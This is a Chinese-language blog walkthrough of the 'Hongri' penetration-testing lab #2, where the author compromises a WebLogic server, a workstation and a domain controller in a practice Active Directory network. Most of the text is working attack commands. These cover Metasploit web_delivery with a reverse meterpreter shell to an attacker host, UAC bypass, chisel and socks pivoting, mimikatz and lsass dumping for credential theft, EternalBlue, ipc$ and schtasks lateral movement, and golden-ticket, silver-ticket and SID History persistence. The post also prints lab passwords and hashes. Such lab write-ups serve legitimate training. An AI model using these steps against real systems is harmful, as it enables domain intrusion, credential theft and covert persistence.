freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

红日系列-二
热烈的马 2021-10-19 15:27:59 128627

(仅供交流学习,切勿用于非法途径,用于非法途径与本人无关)
image图片.png对于虚拟机的配置
DC
IP:10.10.10.10 Windows 2012(64)
应用:AD域
WEB
IP1:10.10.10.80 IP2:192.168.111.80 Windows 2008(64)
应用:Weblogic 10.3.6 MSSQL 2008
PC
IP1:10.10.10.201 IP2:192.168.111.201 Windows 7(32)
(这里web初始的登录密码不能登录,可以使用别的域用户进行登录配置)
WEB配置:
C:\Oracle\Middleware\user_projects\domains\base_domain 以管理员身份运行startWebLogic

首先对外网ip进行端口扫描
nmap -Pn -sV 192.168.111.80image7001端口开放weblogic服务,
image这里可以利用msf生成powersherll进行上线,当然也可以用cs
use exploit/multi/script/web_delivery
set target 2(2为powershell)
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.199.128
set lport 4444
runimage得到了一个会话,getuid查看,是administrator的权限,利用getsystem进行提权,这里会显示失败,这里就设置到考察点 Bypass UAC
先挂起会话,在msf中搜索相关的模块 search bypassuac
use exploit/windows/local/bypassuac
#该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
use exploit/windows/local/bypassuac_injection
#该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
这里使用第二个
use exploit/windows/local/bypassuac_injection
set session 1 #会话就是挂起的会话
set target 1 #设置目标系统类型,1是64位,0是32位
set lhost 0.0.0.0
set lport 4444
exploit
不过这里很奇怪,这里显示失败,但是查看session显示已经成为了system权限
image进入已经得到的shell
然后就是进行一波内网的信息收集,定位域控信息等
DC 10.10.10.10(后面专门的记录)
使用run get_local_subnets 可以看见有两条路由
image我们可以添加一条路由,使msf可以与内网段的主机通信
run autoroute -s 10.10.10.0/24 添加一条路由
run autoroute -p 查看是否添加成功
image我们可以使用auxiliary/scanner/smb/smb_ms17_010 模块进行内网主机的存活探测
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.10.0/24
set threads 30
exploitimagechisel隧道
先上传chisel到目标主机
upload /home/chisel.exe c:image在目标主机会话启动
start/b chisel.exe server -p 2222 --socks5 #start/b在后台运行
在kali启动
./chisel client 192.168.111.80:2222 socks #这里的ip地址是目标(web)的ip地址
这里还要在 vim /etc/proxychains4.conf 文件里面添加一个
imagesocks模块
使用msf自带的socks模块 auxiliary/server/socks_proxy
use auxiliary/server/socks_proxy
set srvhost 192.168.111.128 #这里为kali 的地址
set version 4a
exploitimage密码的抓取
1、上传抓取
可以先上传一个mimikatz到对方主机进行抓取
upload /home/2.exe c:
2.exe
privilege::debug
sekurlsa::logonpasswords
分别抓起到管理员和mssql用户的密码
image2、下载抓取
我们可以使用procdump这个工具来把目标lsass文件导出,然后再利用mimikatz读取
因为procdump是微软发布的,所以杀毒软件不会拦截
我们先上传其到目标机器
upload /home/procdump64.exe c:
procdump64.exe -accepteula -ma lsass.exe lsass.dmpimage将目标机器上导出的lsass.dmp文件下载下来
download lsass.dmp
然后利用mimikatz导出里面的密码
sekurlsa::minidump .\lsass.dmp #将导出的lsass.dmp载入到mimikatz中
sekurlsa::logonpasswords full #获取密码image横向移动
这里先对pc机进行渗透,ip 10.10.10.201 通过前面的扫描开放了445端口试一下ms17_010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 10.10.10.201
set lhost 0.0.0.0
run
这里没有成功
因为我们在web主机里面抓取密码,抓取到了administartor的密码,所以我们可以尝试利用ipc$来进行横向移动
注:
建立ipc$的条件:
目标主机开启了139和445端口
目标主机管理员开启了ipc$默认共享
我们在kali拿到的web主机的shell中执行如下命令
net use \10.10.10.201\ipc$ "1qaz@WSX" /user:de1ay\administrator
#net use \ip地址\ipc$ "passwd" /user:domain\username
net use #查看连接
net use \ip地址\ipc$ /del #删除当前连接image我们现在已经可以对pc机进行操作了,可以上传一个msf马,设定定时任务使其上线
先生成一个木马
msfvenom -p windows/meterpreter/bind_tcp lport=4321 -f exe -o ipc.exe
同样先上传到web机,然后在web机上利用ipc传递给pc机
copy ipc.exe \10.10.10.201\c$ #将文件复制到对方机的c盘
dir \10.10.10.201\c$ #列出对方主机的c盘文件
image然后我们可以设置一个计划任务来启动马子
在pc机制定了一个名为ipc$的计划,并且在某某时间自动执行
schtasks /create /tn "ipc$" /tr C:\ipc.exe /sc once /st 00:12 /S 10.10.10.201 /RU System /u administrator /p "1qaz@WSX"
imageschtasks /run /s 10.10.10.201 /i /tn ipc$ /u administrator /p "1qaz@WSX" #这句是立即就执行ipc$任务
schtasks /delete /s 10.10.10.201 /tn "ipc$" /u administrator /p "1qaz@WSX" #删除计划任务ipc$
我们启动msf设置监听
proxychains msfconsole
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 4321
set rhost 10.10.10.201
成功弹回会话image对于DC机我们同样可以使用ipc$的方法,或者使用psexec进行移动
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.10
set smbpass 1qaz@WSX
exploit
拿下DC机
黄金票据
在Windows的kerberos认证过程中,Client将自己的信息发送给KDC,然后KDC使用krbtgt用户的Hash作为密钥进行加密,生成TGT。那么如果获取到了krbtgt的Hash值,不就可以伪造任意的tgt了吗。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
先假设这么一种情况,原先已拿到的域内所有的账户Hash,包括krbtgt这个账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。
攻击者再使用黄金票据进行票据传递攻击时,通常要掌握以下信息:
需要伪造的域管理员用户名
完整的域名
域SID
krbtgt的NTLM Hash
首先我们在DC机的shell中获取到域的sid和krbtgt的NTLM
privilege::debug
lsadump::lsa /patch #专门用户在域控制器上导出用户的hash或密码
域sid:S-1-5-21-2756371121-2868759905-3853650604
krbtgt用户的hash:82dfc71b72a11ef37d663047bc2088fb
image然后我们切换到web的shell下面
kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb
/ticket:ticket.kirbi
#kerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbiimage这样web机就可以访问域内任何用户
dir \dc\c$ #这里要用主机名
image白银票据
白银票据不同于黄金票据,白银票据的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由KDC颁发TGT,并且在生成伪造的TGT得20分钟内,TGS不会对该TGT的真伪进行效验。
白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用krbtgt账号的密码哈希值,因此更加隐蔽。
攻击者要利用白银票据进行票据传递攻击,需要掌握下面几个信息:
域名
域SID
目标服务器的FQDN
可利用的服务
服务账号的NTLM Hash
要伪造的用户名
先在dc机的shell中,利用mimikatz获取dc机的hash
(这里获取的不是用户de1ay的,是dc$机的)
privilege::debug
sekurlsa::logonpasswords
域sid:S-1-5-21-2756371121-2868759905-3853650604
lsadump::lsa /patch
imagekerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /target:DC.de1ay.com /rc4:f4e69484fbfcc35c0e20f006685a98c9 /service:cifs /user:silver /ptt
/domain:域
/sid:域的SID值
/rc4:server机器的hash
/service:可利用的服务,这里是cifs
/user:要伪造的用户名,任意填写
/target:域控制器名,即FQDN(全称)
然后返回pc机的hsell,执行
imageSID History域后门
在Windows中,每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。
如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即 如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源 。使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。
下面我们演示用mimikatz添加SID History后门的操作。
在DC域控的shell中新建一个用户histort
net user histort History135 /add
将域管理员Administrator的SID添加到恶意域用户 histort 的SID History属性中。
privilege::debug
sid::patch
sid::add /sam:histort /new:administrator #将Administrator的SID添加到histort 的SID History属性中
image注意:在使用mimikatz注入SID之前,需要使用 sid::patch 命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性;mimikatz在2.1版本后,将 misc:addsid 模块添加到了 sid:add 模块下。
使用powershell查看histort用户的sid history
load powershell
powershell_shell
imageImport-Module activedirectory
Get-ADUser histort -Properties sidhistory
Get-ADUser administrator -Properties sidhistory
imagehistort用户的SID History和administrator域管理员的sid相同,那么现在我们的histort用户便拥有了administrator域管理员的权限,
并可以用该用户随时登录域控主机。

# web安全 # 内网渗透
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 热烈的马 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
热烈的马 LV.6
这家伙太懒了,还未填写个人描述!
  • 45 文章数
  • 18 关注者
关于Windows中获取指定进程pid的几种方法
2023-08-04
利用NtDuplicateObject进行Dump
2023-04-05
NTLM中继
2023-03-31